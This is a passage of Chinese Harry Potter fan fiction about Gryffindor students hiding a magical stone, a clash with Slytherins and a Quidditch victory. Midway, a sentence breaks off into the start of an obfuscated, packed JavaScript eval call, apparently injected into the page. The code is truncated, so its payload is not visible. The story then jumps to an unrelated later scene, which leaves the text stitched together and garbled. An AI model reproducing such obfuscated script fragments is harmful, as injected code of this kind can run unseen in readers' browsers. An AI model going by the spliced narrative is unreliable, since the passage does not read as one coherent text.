气氛略显缓和。他们解除了静音咒,准备离开。然而就在这时,意外发生了——他们在走出门的一瞬间,看到了一个珍珠白的身影飘在半空,头上歪戴着一顶铃铛帽子。当那个熟悉的坏笑撞进眼帘时,柏妮丝的心霎时凉了半截。 那是皮皮鬼。 在他们第一年入学的时候,格兰芬多的级长们就曾警告他们要当心这个幽灵。他总在城堡各处游荡,而且时刻准备着对你实施各种烦人的恶作剧。一般来说,搬出血人巴罗的名号来吓唬他会起作用。但今天,他们显然来不及做出反应了。 “哎呀呀!真是一群小坏蛋!小坏蛋!”皮皮鬼哈哈大笑着,朝他们丢出一堆粉笔头,“学生不睡觉啦!到走廊里玩来啦!学生不睡觉啦!到走廊里玩来啦!” 他扯着嗓子连喊几遍,同时将手里的两把粉笔头一股脑地往四个学生脸上扔去。他们毫无防备,结结实实地挨下了这次攻击。皮皮鬼还嫌不尽兴,依然不停地笑着、叫着,丢出更多粉笔头。一直到所有人的袍子上都沾满了白色的石灰,他才最后大笑两声,在空中倒立过来冲他们做了个鬼脸,扬长而去。 “这下糟了,费尔奇随时会来。”艾克索紧张地说,彻底忘了当初是谁吹牛说自己“经验丰富”的,“我们得赶紧——” 但下一秒他们就意识到,已经来不及了。 “又有学生半夜不睡,到走廊里瞎晃悠!”费尔奇粗声粗气的咒骂声顺着走廊传过来,离他们只有一个拐角的距离,“这些不知好歹的小混蛋,如果早一个世纪,就该把他们全都吊在地牢里,用皮鞭狠狠地抽……洛丽丝夫人,你一定也准备好捉住他们了……是啊,一定要让他们尝点苦头……” 四个人飞快地躲到最近的一副盔甲身后,屏住呼吸。从这个角度,柏妮丝只看见费尔奇那盏提灯的灯光照亮了对面拐角处的墙壁。他离他们越来越近了,而更糟糕的是,在这种情况下,他们压根没有逃走的可能性。 “你们认为会是多少分?”希娜绝望地低声说,“五十分?一百分?” 费尔奇已经转过那个拐角,朝他们的方向走来。现在柏妮丝能看见那只名叫洛丽丝夫人的猫正得意洋洋地竖着尾巴,瞪着一双红色的眼睛,跟在费尔奇身边。她的心脏好像快要从胸口蹦出来了。 但就在这时,一个意想不到的人出现了。 “费尔奇先生,非常抱歉。”一个女孩的声音响起,“我是斯莱特林的级长,刚才皮皮鬼说的是我。他之前正好看到我在走廊上巡逻。” “塔伦·埃德里安?”艾克索瞪大了眼睛,“她为什么在这里?” 费尔奇手上提灯的光线照亮了塔伦的面孔。她身上穿着校袍,头发也扎得整整齐齐,看样子刚才的确在外边。她脸上带着得体的笑容,又低声向费尔奇解释了几句,大概是在说自己是如何和皮皮鬼狭路相逢,又是如何赶走他的。费尔奇的脸色稍有缓和,警告了她两句,抱起看上去依旧疑虑重重的洛丽丝夫人离开了。 塔伦却又在原地停留了一会儿。她的面孔转向他们所在的方向。有那么一刻,她肯定和他们对上了目光。但她什么也没说,只是微不可查地点了点头,随后便转身离去。她的脚步声消失在了走廊的尽头。 “我们差点就成功清空了格兰芬多的记分沙漏。”回去的路上,希娜惊魂未定地说,“艾克索,‘不会让格兰芬多被扣分’,这是你保证的。回头我们去霍格莫德你得请我喝黄油啤酒。” “我们毕竟没有嘛。”艾克索嬉皮笑脸地说,“还不如省点钱用来宴请塔伦。我看她值得我们每人送她一整桶黄油啤酒。” “说起来,”柏妮丝说,“为什么他们级长有夜间巡逻?” “而且还有一个问题:为什么他们从来没有把这件事告诉普通学生?”希娜接过话头,“按理说,如果出了什么需要级长们每天夜里巡逻来保障安全的事情,校方没理由不警告学生们。” “只有一个解释。”文森特说,魔杖尖上的亮光照亮了他的神情,那模样不知为何显得有点冷酷,“他们在防备的就是这些学生。” “等等,我没听明白。”艾克索插嘴,“他们防备我们做什么?” “谁知道。也许他们认为某些学生会有什么对他们不利的动作。”他停了停,然后意有所指地继续,“比如说,有人在试图藏匿什么东西,而他们要找到那东西……” “你的意思是,他们知道石头的事?”艾克索继续问。 “只是一种可能性。”文森特耸耸肩,“说真的,你们没必要每件事都参考我的意见。我从来不喜欢往乐观的方向考虑问题。” “我们是不是该采取什么措施来保障石头的安全?”他们爬上前往格兰芬多塔楼的楼梯时,柏妮丝问,“如果这真的就是他们在找的东西的话……我们已经知道它对神秘人很重要……” “也许是的,但不是今晚。”文森特坚决地说,显然他已经决定先送几个格兰芬多到洞口再离开,“别忘了,明天还要上课。为这件没那么紧急的事彻夜不眠可不明智。” “我们中排行第一的夜猫子如是道。”希娜揶揄,但没有提出其他异议。这时候,他们已经来到格兰芬多公共休息室的洞口前了。肖像里的胖夫人已经睡着了,鼾声从她的画框里响亮地传出来。 “呃,口令是什么来着……昨天刚改的……”艾克索磕巴了一下,然后一拍脑袋,喊道,“穿着丝绸的猪!” “你们该感恩亚克斯利不知道这个口令。”当胖夫人半睡半醒地为他们打开洞口时,文森特评论道。 “嗯哼,假如他听得出这是在骂谁的话。”希娜随口应着,跟着艾克索钻了进去。 —— 自从那天夜里听到那个霍格沃茨可能在防备学生们的猜测,柏妮丝就很难再像往日一样生活了。她的心思总会在不经意间飘到这件事上,想象着会不会有人闯进她的宿舍,搜出那块石头。星期三上午的黑魔法防御术课上,这险些引来了大麻烦。 “你好像很喜欢呆站着,布瑞南小姐。”亚克斯利恶声恶气地说,“还是说你开始怀念上个月的那个小咒语了?” 安吉丽娜连忙过来解围。“对不起,教授。”她快速说着,拉着柏妮丝的胳膊往后退,“我们没有冒犯您的意思,真的非常抱歉。” 亚克斯利今天尤其暴躁,一是因为他直到现在还是很不满斯内普先前对于他“实践教学”的干预,二是因为早上《预言家日报》刊登了九月以来第三名食死徒——多尔芬·罗尔的死讯。而且(对亚克斯利来说)更糟的是,这回所有学生都注意到这几个月食死徒接连丧命的事了。可以想象,这个消息带来的除了礼堂里一顿气氛尤其高涨的早餐外,还有这位食死徒内心的恐慌。而在这种情况下,柏妮丝的走神无疑使她险些撞在了枪口上。 “你怎么了,柏妮丝?”在再三确认亚克斯利没有继续盯着她们之后,安吉丽娜低声问,“你今天好像一直心不在焉,怎么了吗?” 自从上个月安吉丽娜去医疗翼看望柏妮丝之后,两个女孩的关系就迅速亲近起来。只要有见面的机会,她们就总是待在一块。在格兰芬多和赫奇帕奇一起上的草药学课和黑魔法防御术课上,柏妮丝跟她分在同一组的频率甚至超过了和希娜一组的频率。望着那双饱含关切的眼睛,柏妮丝沉思片刻,最终决定对她说实话。 “你是说,你们拥有一样力量强大的魔法物品,而且神秘人有可能也在找它?”听完她的解释,安吉丽娜的脸色变得苍白,“上帝啊,你们这样做太冒险了。” “我们也没有别的办法。”柏妮丝解释道,“我们现在在寻找一个更稳妥的办法把它藏起来。万一它被发现,那就糟糕了。” 安吉丽娜低下头,用牙齿咬着食指关节思考了一阵。终于,像是下定了某种决心,她开口道:“那个……如果你们需要的话,我可以帮忙保管那个东西。” 柏妮丝愣了一下,一时间没理解对方的意思。然后她赶忙摇头。 “那怎么行?”她说,“这件事本来和你没有关系。但要是我让你参与进来,将来万一真的有人查到了,你说不定会有生命危险。” “这我知道,柏妮丝。”安吉丽娜坚定地说,她的脸色还是发白,但神情已经不再慌张,“你说的这些我不是没有想到,但你们决定藏匿那样东西同样是冒着生命危险,在这件事上,我们没什么不同。虽然我不如你们格兰芬多勇敢,但这点小忙我还是有能力帮的。” “但是——” “没事的。”安吉丽娜温和地微笑,伸出一只手握住她的,“我们是朋友,更何况你救过我的命。这些是我应该做的。如果你对我足够有信心的话,请你不要什么都自己承担,也让我为你做些事情,好吗?” 柏妮丝依然无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柏妮丝一下子明白过来他在打什么主意。阿尔诺是斯莱特林院队的找球手,他想要刺探格兰芬多院队下场比赛的战术情报。这种事三年级就发生过,那时候希娜还不太了解他,只当是正常闲聊,结果在赛场上便被斯莱特林的队员们围追堵截,没能抓到金色飞贼。这件事是希娜讨厌他的根本原因,至于后来那些事情,只能算得上是一点添头。 “我相信这不是你要关心的事,波普勒希尔。我们训练得是好是坏,在赛场上自会见分晓。”希娜假笑着说,“与其使这些小聪明,你还不如多花点时间学学怎样把扫帚骑得稳当些,别一不小心摔下去了。” “这怎么能叫‘小聪明’呢?我只是想和对手友好地交流一下。”波普勒希尔笑得更灿烂了——话说回来,他总是在笑,“千万别发脾气呀,劳里埃。把自己气出病来就不好了。” “‘友善交流’,你在遣词造句方面果然造诣深厚,都快赶上那些真正的纯血家族接班人了。”希娜说出那个“真正的”的时候简直要冷笑出声,“不过往好了想,你那来自埃弗里家的老爹至少还教会了你这个,不是吗?” 第一次,波普勒希尔的笑容消失了。但他看起来并不是生气,而是——受伤。他的脸忽然失去了血色,就好像希娜刚刚在他身上的某处尚未愈合的伤口上狠狠踩了一脚。苏珊尖叫起来“你怎么能这样说”。伊芙琳惊恐地望向阿尔诺的方向。 事态从这里开始极速恶化。 欧德斯·罗兰冲上前,将阿尔诺挡在身后。“你怎么敢拿这件事嘲笑他——你怎么敢在他面前提他的父亲!”他恶狠狠地低声咆哮道,太阳穴上爆起青筋,“你认为自己有什么资格?嗯?你不过就是一个自大、愚蠢的白痴,每天在城堡里招摇过市,带着你那甚至不能靠自己说一句话的蠢货朋友——” 他的目光突然转向柏妮丝的方向。柏妮丝忙往后退,但已经迟了。欧德斯猛地伸出一条胳膊,一把将她衣领上那个黄铜喇叭拽了下来。 “把它还回来!”希娜愤怒地说,试图把喇叭抢回来,“这件事和她没有关系!把它还给她!” “凭什么?”欧德斯冷笑,“你侮辱了我朋友,然后现在又想在自己朋友面前装成正义使者了?这就是你们格兰芬多说的‘豪侠仗义’?告诉你,劳里埃,这世上没有什么好的事!”说着,他一手扬起那个喇叭,往窗外丢去——希娜试图阻拦但没能成功—— “你们在干什么?”一个熟悉的声音响起,“解释一下,罗兰先生。” 塞德汀不紧不慢地走到他们身边,扫视眼前剑拔弩张的局面。她的级长徽章一如既往在最显眼的位置闪闪发光。 “劳里埃侮辱我的朋友。”欧德斯愤愤不平地说,“她拿阿尔诺的家庭羞辱他。” 塞德汀有那么一瞬间露出了万分理解的神情,然后以一种相当于“哇哦,你可真敢这么说”的表情朝希娜她们看了一眼。但转回去时,她又变回了那副公事公办的样子。 “所以你刚才就把其他学生的东西扔出了窗外?”她扬起眉毛,“多么令人感动的友谊啊。我怀疑格兰芬多更适合你,罗兰。” “不,刚才那的确是我的错。”希娜突然开口道,“我不应该那样说你。那样太过分了。非常抱歉,波普勒希尔。” 从阿尔诺的表情看不出他对此有何表示。欧德斯又嚷嚷起来:“她只是想逃避责罚!” “我对你们之间到底发生了什么不感兴趣。这件事要怎么处理是你们的事。”塞德汀的声音听不出什么波澜,“但是我必须警告你,罗兰先生,即使一开始的责任在她们两个,你的行为也很可能让斯莱特林被扣分。你必须学会让自己的行为无可指摘。” 她一挥魔杖,那个黄铜喇叭又从外边飞了回来,落到柏妮丝手里。 “这件事到此为止。”她宣布,“如果再让我看到你们在走廊上吵吵嚷嚷,我就不得不履行级长的职责了。我相信,这不是任何人想看到的结果。”说罢,她转身大步离开,校袍在身后翻飞。柏妮丝脑子里在一瞬间回想起了艾克索那句关于“小号版的西弗勒斯·斯内普”的评价。 “别跟她们计较。我们走。”欧德斯拽起阿尔诺的胳膊离开,临走前最后狠狠瞪了希娜一眼。苏珊和伊芙琳也跟了上去。伊芙琳转头看了一眼希娜,目光里满是谴责意味。 “所以波普勒希尔的身世到底是什么样的?”在往外走的途中,希娜皱着眉头问。 “我也不知道。我还以为你比我了解。”柏妮丝说,她将黄铜喇叭别回衣领上,施了个清理一新,“你刚才不是还对他道歉来着?” “那是他们让我感觉自己说了很糟糕的话。”希娜懊恼地说,“但其实我只知道私生子这一条。其实我一直以为他母亲是那个埃弗里包养的情人什么的,而他是个为攀上了高枝沾沾自喜的小混蛋,毕竟他老爱以纯血自称什么的。我没想到他的家庭背景对他来说这么敏感。” 五分钟后,在黑湖边,她们就这个问题询问了与她们关系最近的斯莱特林。 “波普勒希尔的家世我知道一些。”文森特没有太大反应,掰了块面包丢进湖里,看着巨乌贼伸出触手卷走它,“他父亲是纯血家族里出了名的花花公子,母亲是被他骗得团团转的麻瓜血统女孩,意外怀上了这个孩子——当然,那是战争前的事了。” “但我记得他的证件上写的是‘纯正纯血’。”希娜说,然后她明白过来,“所以他的身份是靠关系得到的?” “据说是他母亲逼他父亲找人开的证明。”文森特耸耸肩,“二十八圣族的公子和麻瓜血统纠缠不清,这事如果捅出去,埃弗里家就有得受了。他母亲没有被魔法部抓走听说也是出于同一个原因。但除此以外,他父亲对他们母子基本上就是不管不问了。这种事你在斯莱特林公共休息室待个一天就能听个七七八八,那些纯血最爱这么议论他们看不上的人。” “然后我还说他是……”希娜目瞪口呆,然后把脸埋进手心里,“梅林啊,听起来我可真是个混蛋。” 文森特停下了手上的动作。“你说他是什么?”他问。 “关于这个你只要知道我以一种很糟糕的方式提到了他父亲就行了。”希娜崩溃地说,“但我是真的不知道这些,不然我绝对不会——” “下次有机会你再向他道个歉吧。”柏妮丝说,“告诉他你不是有意的。” “我会试试。”希娜叹了口气,“但我不知道那时候他还会不会听我说话。” 艾克索不知道从哪里听说了这件事。但她了解的大概只有“希娜和几个斯莱特林大吵了一架,其中一个还扔掉了柏妮丝的喇叭,最后这事被塞德汀撞见了”这么多。 “她怎么说?我是指塞德汀。”在礼堂里,艾克索一边往嘴里塞鸡腿一边问。 “她没说什么,还帮柏妮丝把喇叭找了回来。”希娜回答,这时候她已经慢慢从自己行为带来的极度后悔中恢复过来了,“说起来,她竟然这么好心?我一直以为她会直接给格兰芬多扣上五十分。” 出乎意料的是,艾克索并不显得有多意外。 “你们对塞德汀有点误解。”她又啃了口鸡腿,“别看她长得那么古板,其实她挺酷的。” “这话怎么说?”希娜问。 “唔,这就说来话长了。”艾克索说,“如果我说她二年级的时候就偷偷给阿米库斯·卡罗施过咒,你们信吗?” “你是说那个食死徒?”柏妮丝问。 “是呀,就是她。”艾克索说着,开始绘声绘色地讲起了那次传奇经历:二年级的时候,塞德汀有一回撞见了她在走廊上丢自制的简易粪弹。塞德汀本来还威胁她要告诉麦格教授,但这时阿米库斯·卡罗过来问她们发生了什么事。这位女食死徒素以折磨学生在霍格沃茨闻名。艾克索正以为自己小命要玩完的时候,塞德汀竟然在卡罗身后举起魔杖,然后—— “她施了个一忘皆空!”艾克索的声音突然拔高,把她们吓了一跳,“然后她居然还走过去,趁着卡罗刚被施咒有点迷糊,一本正经地说:‘教授,您身体是不是有点不舒服?需要我送您回办公室吗?’要知道,我都不敢这么干!” “她真的这么做了?”希娜震惊地说,“你该不是胡诌的吧。” 艾克索看上去对她的反应很满意。 “不然我怎么会说她‘酷’呢?”她得意地说,“要知道,可不是每个人都能得到这种评价的。” (TBC) 7. 羽毛笔和蛋奶饼干 Chapter 07 - Quills and Custard Creams 当天夜里,希娜牺牲了写完论文后的宝贵休息时间,在图书馆冥思苦想了一封道歉信。这封短短的信件耗费了不少墨水和羊皮纸,那些揉皱了的废稿此时正全部堆在桌角。 “你们帮我看看这样行不行——”她举起那张羊皮纸朗读道,“‘我想为昨天下午在走廊上发生的事向你道歉。我对你的家庭背景不了解,但从你们的反应看,我似乎说了很过分的话,所以如果我的话的确对你造成了伤害,我必须对你说一声对不起。请你相信,虽然我们不算朋友,但我绝对没有拿你的软肋侮辱你的意思。再次表达歉意。真诚的,希娜·劳里埃。’这样听上去会不会太糟了?” “我觉得这样足够了。”柏妮丝凑过去看那封被工整地誊抄了一遍的信,“他应该能明白你的意思。” “为什么说‘我对你的家庭背景不了解’?你已经知道他的家庭是什么样了。”文森特指出。 “你在人际交往方面真是一窍不通,是不是?”希娜说,把羊皮纸整齐地叠好,“他不希望别人知道这件事。要是让他认为世界上多了一个因为这个怜悯他的人,那可不是什么好事。” “你打算怎么把这封信给他?”柏妮丝问。 “没想好。”希娜叹了口气,“但我迟早要把这个交给他,否则我就是个彻头彻尾的人渣。不过我怀疑现在我在他们那个圈子里已经被宣传成这样了。” “如果你不想当面给他的话,要不要试试猫头鹰传书?”柏妮丝建议道,“学校的猫头鹰应该就可以。” “别忘了,斯莱特林公共休息室在黑湖底下,可不像我们那样可以让猫头鹰直接飞进来。”希娜说,“或者下次我找个人替我转交?但那样会不会太奇怪了?” “又或者你不需要为这个操心了。”文森特突然说,然后抬起头看向她的身后,“有什么事吗,罗兰?” 两个女孩吓了一跳,转过头,看见欧德斯·罗兰站在那里,脸色阴沉。见他们三个人突然齐刷刷看过来,他好像有点尴尬,但很快又恢复了那种能用眼神甩出恶咒的表情,黑着脸走了过来,将一张叠起来的纸放在桌上。 “阿尔诺让我把这个给你们。”他说话的声音几乎像是在嘟囔,柏妮丝花了不少时间才听明白他在说什么,“我勉强信你这一回,劳里埃。但要有下一次,我不介意把你咒成一条鼻涕虫。” “明白。”希娜笑着回答。欧德斯看起来更阴沉了——也可能是更尴尬,在他身上你很难区分这两种情绪。他看起来还想说些什么,可能是更多的死亡威胁。但他最后只是僵硬地点了点头,手脚不协调地走开了,大概是回去找他朋友。 “看他的表现,别人还以为你羞辱的是他呢。”文森特评价道,“他真的很像个格兰芬多。” “也许吧。”希娜耸耸肩,将那张纸摊开。柏妮丝凑过去看,那上边只有短短两行字。 今晚的胡萝卜炖菜味道不错。周六赛场见。 “开什么玩笑。我最讨厌胡萝卜了。”希娜撇撇嘴。 “你觉得他是什么意思?”柏妮丝皱着眉头问。她完全看不明白这两句话和希娜的信有什么内在联系。 “要么是‘不好意思,我哥们刚才捎信捎错人了’,要么是‘我没放在心上’。”希娜不知为什么竟然笑了,“我希望是后者。” 柏妮丝不知道希娜是怎么看明白这种语焉不详的纸条的。但无论如何,当希娜真正在赛场上和阿尔诺相遇时,他看上去又和往日一样了。 —— 希娜坐在球队更衣室里,看着门帘外的天空。 这是个打魁地奇的好天气。湛蓝的天空笼罩在球场上空,只有几缕云高高地漂浮着。对于深秋来说,天气算得上暖和,风也不大,不至于让人在半空中掌控不住飞天扫帚。 距离比赛开始还有五分钟,队员们开始脱下黑色的校袍,套上鲜红色的球服。克里斯托弗提前做好了准备,这会儿正在做赛前讲话。不过都到这个时候,他也没什么可说的了。 “你们不用太紧张,正常发挥就行。”他慢慢地说,“能赢得学院杯当然是最好的,但我不希望你们有太大压力,重要的是打出自己应有的水准……” “‘不要有太大压力’?你在说什么呀,克里斯!”莫娜不满地说,“前两年我们都是输给了斯莱特林。明年你就要毕业了,我们可不能让你连带着遗憾离开霍格沃茨!” “莫娜说得对。”维利卡抢过话头,“想赢就承认嘛!这又没什么可耻的,我们也一样。” “你就安安心心骑着扫帚等着学院杯从天而降吧,队长。”艾克索笑嘻嘻地说,“我拿性命担保,它会直直掉进你的怀里!” 有一瞬间,克里斯托弗看起来好像快哭了。他连忙转过头欲盖弥彰地抹了抹脸,然后又恢复了严肃。 “劳里埃,今天的重头戏得看你。但你也要知道,那个假动作不是非做不可。” “遵命,队长!”希娜敬了个礼。 “还有,注意遵守规则。”乔纳森突然说,推了推眼镜,“我们队今年和亚克斯利他们结了梁子。有理由认为他会故意找我们的茬。” “是的,马克罗。”克里斯托弗点头赞同,然后转向艾克索和兰伯特,“两个击球手,这一点你们尤其要注意。” “好嘞,克里斯!”艾克索用一种不可信的欢快语气说。 就在这时,莱瑞·梅森的声音从外边传进来。他是克里斯托弗的朋友,从三年级开始担任霍格沃茨魁地奇球赛的解说员。 “欢迎各位来到本学期的第一场魁地奇赛——格兰芬多对斯莱特林!” “该出场了。”克里斯托弗小声说,带他们走了出去。 当他们来到球场上时,斯莱特林队的队员正从对面走来,和他们一样穿着队袍,手里拿着飞天扫帚。希娜一眼看见阿尔诺站在角落的位置,碰到她的目光,愉快地朝她眨了眨眼。他是他们队个子最小的,其余的队员全是膀大腰圆的高年级男生,看上去比起魁地奇球员更像是来打拳击的。相当有趣,作为一个通常倡导以智谋取胜的学院,斯莱特林在魁地奇上竟然是最迷信体型和肌肉的。 希娜转头望向观众席,那里被各式各样的红色和绿色代表物挤得满满当当。她一眼看到格兰芬多的座位上空漂浮着一条红色的横幅,上面用金色的大字写着“格兰芬多必胜”。它一定被施了很精妙的魔法,因为时不时就有红色和金色的火花从上边噼里啪啦地闪现出来,形成一个雄狮图案。柏妮丝和文森特坐在最顶上一排座位上,她冲他们挥手,他们也挥手回应。 “加油,希娜。”艾克索凑近她的耳朵低声说,“让那小子尝尝你的厉害。” 霍琦女士站在赛场正中央,手里抓着她的银哨。 “好了,厄多博德、格林格拉斯,握手。”她威严地说,“现在骑上扫帚,听我倒数——三——二——一——” 哨声响起。比赛开始了。 —— “……现在,格兰芬多队的维利卡?伍兹控球。这位七年级的女球员向来以在空中的敏捷身手著称。”莱瑞激情饱满的声音通过麦克风传到观众席的每个角落,“不好,斯莱特林的格林格拉斯和特拉弗斯追上来了——他们对伍兹围追堵截——很好,伍兹用漂亮的Z字形飞行摆脱了他们——她笔直冲向斯莱特林的球门——球进了!格兰芬多三比二领先!” 格兰芬多的观众席爆发出一阵欢呼。那个横幅又喷出好些闪闪发光的火花。 “梅森的解说方式总让我感觉他随时都能掏出一把飞天扫帚自己上去打。”文森特说。他正坐在柏妮丝边上对付他的魔药课作业——他对体育运动完全不感兴趣,虽说如果他愿意尝试的话他大概也会很擅长这个。 “他的解说很富有感情。很多人喜欢这样的解说员。”柏妮丝说,她拿着一副双筒望远镜,正密切关注球场上的情况。其实她一直很喜欢看魁地奇比赛——充满了刺激与精彩的场面,而且常常富有戏剧性。她甚至想过亲自尝试这项运动。但很可惜,她第一次尝试骑飞天扫帚的经历直接给任何类似的想法判了死刑。 “也许吧。”文森特不置可否地说。 球场上,比赛还在继续。 “好,格兰芬多的乔纳森?马克罗持球——不得不说,虽然他长得活像个活古董,但他打球可是一把好手——他将球传给了莫娜·威尔逊——哎呀,斯莱特林三名追球手把她包围了——威尔逊使出一记倒传,但准确性无法保证——鬼飞球被斯莱特林截住了!”莱瑞·梅森的声音又激动起来,“小心,克里斯!好吧,斯莱特林的卢克·柏斯德针对对方门将的这一记游走球很好地配合了追球手的行动——斯莱特林进球得分!现在场上三比三平。但我必须得说,我们的克里斯是个很好的门将,他只是被游走球分心了……” “……柏斯德将球传给了阿瑞斯·塞尔温——三名斯莱特林追球手一起飞向对方球门,可以很好地避免对方球员的阻拦,这一定是他们提前商定的战术——漂亮的一击,艾克索!塞尔温摔下了扫帚。刚才那个游走球够他在医疗翼躺一天的——现在比赛暂停,霍琦女士开始检查塞尔温的情况——等等,亚克斯利想干什么?” 只见亚克斯利站起身,走下观众席,进入了赛场。他踱到霍琦女士身边,煞有介事地整理了一下那身亮得晃眼的银丝长袍,然后与她交谈起来。柏妮丝通过望远镜只能看到他的背影,并不知道他说了些什么。但当他离开球场时,霍琦女士的眼神就好像要把他的后背烧出一个窟窿来。她咬牙切齿地宣布:“格兰芬多队恶意违规,斯莱特林罚球。” 球场内外瞬间响起一阵骚动。格兰芬多的队员们纷纷抗议起来。艾克索的表情看上去恨不得一记游走球砸在亚克斯利脸上。格兰芬多观众席上,一个高年级男生高声说:“凭什么!” 亚克斯利高傲地走回座位上,给自己施了个声音洪亮。 “看样子有人对这个结果有异议。”他趾高气昂地说,“刚才喊‘凭什么’的同学,你告诉我,你有什么不满意的地方吗?” 那个男生有点畏缩,但还是大声说:“你凭什么说他们违规?他们刚才没有做任何违反比赛规则的事!” “就凭你们的击球手刚刚将一个二十八圣族的孩子打下了扫帚。”亚克斯利粗暴地说,“我学期初是怎么说的,你们都忘记了吗?对纯血统要懂得尊重!更何况那个击球手的血统是那么糟糕,毫不客气地说,她的存在根本是在污染这片场地,而她竟然还如此肆无忌惮地冒犯上位者。我的惩罚已经很仁慈了。” “这根本就是歧视!”那个男生狠狠地啐了一口,他旁边的同伴想拦住他,但没能成功,“你的巨怪脑子里装着的就只有这些垃圾吗?还是说那里根本什么都没有?” “看来你的思想已经被毒害得相当严重了。”亚克斯利的脸色变得非常难看,“今天是魁地奇赛,我本来不想坏了所有人的兴致。但现在看来,我有必要对你这样的学生做点什么了——” “米勒先生,比赛结束后来我的办公室领禁闭。”斯内普用柔滑而缓慢的声音打断了他,显然他也给自己施了个声音洪亮咒,“再有人在这里寻衅滋事,这场比赛就取消。如果有人想看到这种结果的话,那就请便吧。” 那个姓米勒的男生还想说话,被身边的人捂住嘴按回了座位上。另一边,亚克斯利又扯着斯内普争论起来。 “斯内普在保护他。”文森特说,“如果让亚克斯利亲自惩罚他,那他未必见得到明天的太阳了。” “你说,斯内普教授会不会就是因为这个才讨厌格兰芬多?”柏妮丝说,“因为我们每天都在给他惹麻烦?” “不一定是全部,但肯定有部分是因为这个。”文森特耸耸肩说,“不过反正,他除了斯莱特林也没有喜欢过哪个学院。” “好吧,多么公正的判决,掌声送给亚克斯利教授!”莱瑞·梅森讽刺地大声说,“现在我们可以看到,罚球已经开始了。斯莱特林派出的是队长里安·格林格拉斯——他们会不会拿到这十分全看格兰芬多守门员的发挥了——好,就是现在——他扑出去了!好样的,克里斯!” 这之后,格兰芬多和斯莱特林又各进了一个球,双方的守门员也又各扑出一个,比分再次打平。这样战况胶着的比赛相当罕见,格兰芬多和斯莱特林的学生们不停轮流欢呼和喝倒彩,到最后险些造成一场小型的武力冲突。级长们忙得焦头烂额,尽一切可能避免让低年级学生们互相扔门牙赛大棒和咧嘴呼啦啦。不过就在这时,场上的新变化拯救了他们。 “等等,格兰芬多的找球手劳里埃好像发现了什么——是金色飞贼!”莱瑞兴奋地叫道,“斯莱特林的波普勒希尔立刻追了上去——现在比赛来到了最激动人心的时刻,如果他们中的任何一个抓到了金色飞贼,那个人所属的队伍就将直接获得一百五十分,赢得比赛!这场比赛的胜利将花落谁家呢?让我们拭目以待! “现在,两名找球手正在高空展开追逐——他们的目标相当明确,并且都有着高超的飞行技巧,谁也甩不开谁——柏斯德打出一个游走球,但劳里埃漂亮地闪身躲开了——噢,等等,她这是——” 那一刻,莱瑞·梅森的声音、现场观众们的惊呼,还有其余所有声音,都忽然变得很遥远。希娜就像一只发现了田鼠的红隼一样,双手握住扫帚柄,不带一丝犹豫地俯冲下去,鲜红色的球服在空中飘飞。柏妮丝在先前的训练中就见过这一招,但即便如此,她也无法控制住自己迅速加快的心跳。她甚至没有注意到阿尔诺是什么时候被希娜甩在后边的,视野里只剩下那个不断向地面逼近的身影。直到希娜像训练时那样成功调转方向,重新向上拔升,她才感觉自己重新拥有了呼吸的能力。希娜骑在她的扫帚上,骄傲地笑着,活像个刚刚完成一次精彩演出的杂技演员。她的一条胳膊高高举起,掌心里紧紧攥着那只小小的金色飞贼。 球场沸腾了。格兰芬多的队员们骑着各自的扫帚飞向希娜的方向,将她围在中间,然后在半空中抱成乱糟糟的一团。观众席上爆发出排山倒海的喝彩声和掌声。格兰芬多的学生们高呼着他们的找球手的名字,连嗓子都要喊哑了。莱瑞·梅森的声音几乎要淹没在一众欢呼声里,他听上去也一样激动。 “是的,她做到了!希娜·劳里埃成功抓到了金色飞贼!”他大喊道,“太精彩了——太精彩了!这是一个意义非凡的时刻!三年来,格兰芬多第一次战胜了斯莱特林!” 球员们终于下了扫帚,朝观众席走去。格兰芬多的学生们纷纷奔向球场,将他们围在正中央,与自己碰见的每一个人拥抱、拍肩膀。亚克斯利恼怒地大喊着“全都回去”,但没有一个人理会他。 柏妮丝还站在看台的最高处,俯视着这欢庆的人潮。她用征询的眼神望向旁边的文森特,那人冲着球场的方向偏了偏头。“去吧。”他说。 她于是点了点头,向人群跑去。跑出好远,那个斯莱特林还站在原地。他朝她挥了挥手,也许微笑了一下,也许没有。 —— 魁地奇赛后的庆祝一直持续到夜晚。晚饭后,格兰芬多的学生们在公共休息室组织了盛大的庆功会。零食和饮料摆满了每一张桌子和扶手椅。大家像对待英雄一样把魁地奇队员们推搡到最中间的位置。他们头顶上飘着那条鲜艳的“格兰芬多必胜”横幅。它上边的魔咒还没褪——更可能是有人施了个新的——此时正不停地喷出五颜六色的礼花。明天清理这间屋子肯定要耗费家养小精灵们不少时间,但无论如何,大家一直认为这种活动是必要的。 希娜作为今天的大功臣,站在最中间的位置,身上披着一面用床单改成的院旗。大概是因为被太多人拥抱和拍肩膀,她显得有点狼狈,但同时也非常高兴。 “今天真是太开心了!”她激动地对柏妮丝说,“你真该看看我抓到金色飞贼的时候亚克斯利是什么表情——他快气炸了!” “那一招太帅了,希娜!”莫娜揽着她的肩膀说道,“斯莱特林肯定没想到这个——我们有个了不起的找球手!” 艾克索今天也格外兴奋,一是因为她对自己把那个纯血统打下扫帚深感自豪,二是因为她也享受了一回作为一个平等的个体被大家包围的感觉。其他人的赞美之词好像把她整个人都撑得膨胀起来。她不停地向她见到的每一个人吹嘘她的英勇事迹,包括柏妮丝和希娜。正当她们耐心地听她讲到第三遍的时候,一只猫头鹰飞进窗户,来到她面前。 “哎呀,正好在这时候到了——有人有零钱吗?”她惊喜地说,从猫头鹰腿上解下一个不小的包裹,“太棒了,我还以为要再等几天呢。” “这是什么?”柏妮丝好奇地问。她看见包裹上写着“霍格沃茨魔法学校 ‘去死吧黑魔法防御术课’小姐收”。 “萨尔·威舅舅的新玩意儿。”艾克索从她手上接过五个铜纳特,装进猫头鹰腿上的一只小皮囊里,随口说道。那只猫头鹰心满意足地拍了拍翅膀,飞出了窗外。 “萨尔·威舅舅?”柏妮丝问。她的大脑开始飞速运转:艾克索真的有亲戚吗?她的意思是——蜥蜴亲戚?但艾克索的回答让她感觉自己的想法有点太蠢了。 “对。或者‘萨尔·威魔法杂货铺’,怎么都行。只是大部分人习惯这么称呼他们。”艾克索说到这里,突然停住了,以一种不可思 